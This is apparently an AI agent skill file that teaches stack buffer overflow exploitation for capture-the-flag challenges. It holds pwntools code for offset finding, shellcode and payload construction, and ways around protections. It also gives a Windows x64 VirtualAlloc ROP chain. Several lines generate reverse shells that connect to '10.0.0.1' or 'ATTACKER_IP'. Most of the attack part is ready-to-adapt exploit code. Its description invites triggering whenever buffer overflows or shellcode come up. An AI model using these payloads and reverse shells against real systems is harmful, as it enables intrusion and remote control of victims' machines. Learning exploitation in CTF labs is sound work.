| name | stack-shellcode-exploit |
| description | Create stack shellcode exploits for binary exploitation challenges. Use this skill whenever the user mentions buffer overflow, stack overflow, shellcode, ret2shellcode, EIP/RIP overwrite, pwntools exploitation, or needs to write an exploit that executes arbitrary code via stack-based vulnerabilities. Also trigger for Windows x64 ROP chains with VirtualAlloc to bypass NX/DEP protections. |
Stack Shellcode Exploitation
This skill helps you create stack shellcode exploits for binary exploitation challenges. The technique involves writing shellcode to a vulnerable program's stack and overwriting the instruction pointer (EIP/RIP) to redirect execution to that shellcode.
When to Use This Skill
- Buffer overflow challenges with stack-based vulnerabilities
- CTF pwn challenges requiring code execution
- Exploits needing to bypass NX/DEP via ROP chains
- Windows x64 exploitation with VirtualAlloc/VirtualProtect
- Any scenario where you need to execute arbitrary code via stack overflow
Core Technique
1. Identify the Vulnerability
Look for unsafe functions like:
gets() - no bounds checking
strcpy() - no length limit
sprintf() - no buffer size
scanf() with %s - no width specifier
2. Compile with Protections Disabled
For testing/learning, compile vulnerable binaries with:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
Flags explained:
-fno-stack-protector: Disables stack canaries
-z execstack: Makes stack executable (required for shellcode)
-no-pie: Disables PIE for predictable addresses
-m32: 32-bit mode (simpler for learning)
3. Find the Offset to EIP/RIP
Use cyclic patterns to find where the buffer overflows into the return address:
from pwn import *
pattern = cyclic(200)
p = process('./vulnerable')
p.sendline(pattern)
offset = cyclic_find(0x6161616c)
print(f"Offset to EIP: {offset}")
4. Generate Shellcode
Use pwntools to generate appropriate shellcode:
from pwn import *
shellcode = asm(shellcraft.sh())
shellcode = asm(shellcraft.amd64.windows.reverse_tcp("10.0.0.1", 4444))
shellcode = asm(shellcraft.linux.x86.execve("/bin/sh"))
5. Build the Payload
nop_slide = asm('nop') * 16
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))
payload += p32(0xffffcfb4)
Protection Bypasses
Stack Canaries
- Disable:
-fno-stack-protector
- Bypass: Leak canary via format string, then include it in payload
NX/DEP (Non-Executable Stack)
- Disable:
-z execstack
- Bypass: Use ROP chain to call
mprotect() (Linux) or VirtualAlloc() (Windows)
ASLR (Address Space Layout Randomization)
- Disable:
setarch $(uname -m) -R ./vulnerable or compile with -no-pie
- Bypass: Leak an address, calculate base, compute target addresses
PIE (Position Independent Executable)
- Disable:
-no-pie
- Bypass: Leak program base address, calculate offsets
Windows x64: VirtualAlloc ROP Chain
On modern Windows, the stack is non-executable. Use ROP to call VirtualAlloc to make stack executable:
Calling Convention (Win64)
VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress (stack address)
- RDX = dwSize (e.g., 0x1000)
- R8 = MEM_COMMIT (0x1000)
- R9 = PAGE_EXECUTE_READWRITE (0x40)
ROP Chain Structure
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000
rop = b''
rop += p64(base + POP_R9_RET) + p64(0x40)
rop += p64(base + POP_R8_RET) + p64(0x1000)
rop += p64(base + LEA_RCX_RSP_RET)
rop += p64(base + POP_RDX_RET) + p64(0x1000)
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", PORT))
Common Gadget Patterns
rop += p64(base + POP_RBX_RET) + p64(0x40)
rop += p64(base + MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
rop += p64(base + POP_RBX_RET) + p64(0)
rop += p64(base + XOR_RBX_RSP_RET)
rop += p64(base + PUSH_RBX_POP_RAX_RET)
rop += p64(base + MOV_RCX_RAX_RET)
for _ in range(0x1000 // 0x40):
rop += p64(base + ADD_R8_R9_ADD_RAX_R8_RET)
Complete Exploit Template
Use the create_stack_exploit.py script (bundled with this skill) as a starting point. It provides:
- Offset finding with cyclic patterns
- Shellcode generation for common scenarios
- Payload construction with NOP slides
- Interactive mode for testing
Debugging Tips
- GDB with pwndbg/gef: Essential for seeing registers and memory
- Check for crashes: Use
cyclic_find() to verify offset
- Verify shellcode: Test with
asm(shellcraft.sh()) first
- Address validation: Ensure return address is in NOP slide
- Stack alignment: Some functions require 16-byte alignment
Common Pitfalls
- Wrong architecture: Ensure
-m32 for 32-bit or proper 64-bit handling
- Bad characters: Shellcode may contain null bytes or newlines that break the exploit
- Address calculation: Double-check offset and return address math
- Protection flags: Verify all protections are disabled or bypassed
- Timing issues: Some exploits need precise timing for race conditions
References
Next Steps
- Run
create_stack_exploit.py to generate a template
- Adjust for your specific binary (offset, addresses, shellcode)
- Test in GDB to verify the exploit works
- Handle protections if they're enabled
- For Windows, use the ROP chain pattern with VirtualAlloc